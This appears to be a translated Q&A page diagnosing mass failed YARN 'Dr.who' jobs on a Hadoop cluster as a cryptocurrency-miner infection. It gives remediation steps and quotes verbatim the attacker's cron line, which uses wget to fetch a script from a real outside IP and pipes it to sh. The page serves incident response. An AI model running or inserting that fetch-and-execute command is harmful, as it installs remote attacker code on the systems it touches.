首页 > 解决方案 > YARN Dr.who Application Attempt appattempt 失败

问题描述

我在我的 hadoop 集群中收到此错误消息。有人可以解释一下为什么吗?不知何故,越来越多的 2000 个工作申请被创建并无缘无故地失败。

在此处输入图像描述

标签: hadoophdfshadoop-yarn

解决方案


这可能是一个黑客行为......有一个加密货币矿工可以创造数千个这样的工作。

在每个可疑节点上检查 cron 作业作为纱线并将其删除。

    $ sudo -u yarn crontab -e
*/2 * * * * wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1

然后检查像这样的“java”进程并杀死它。

/var/tmp/java -c /var/tmp/wc.conf

您还应该保护集群的所有传入端口,以防止这种情况再次发生。

有关更多信息,请参阅此内容。 https://community.hortonworks.com/questions/191898/hdp-261-virus-crytalminer-drwho.html


推荐阅读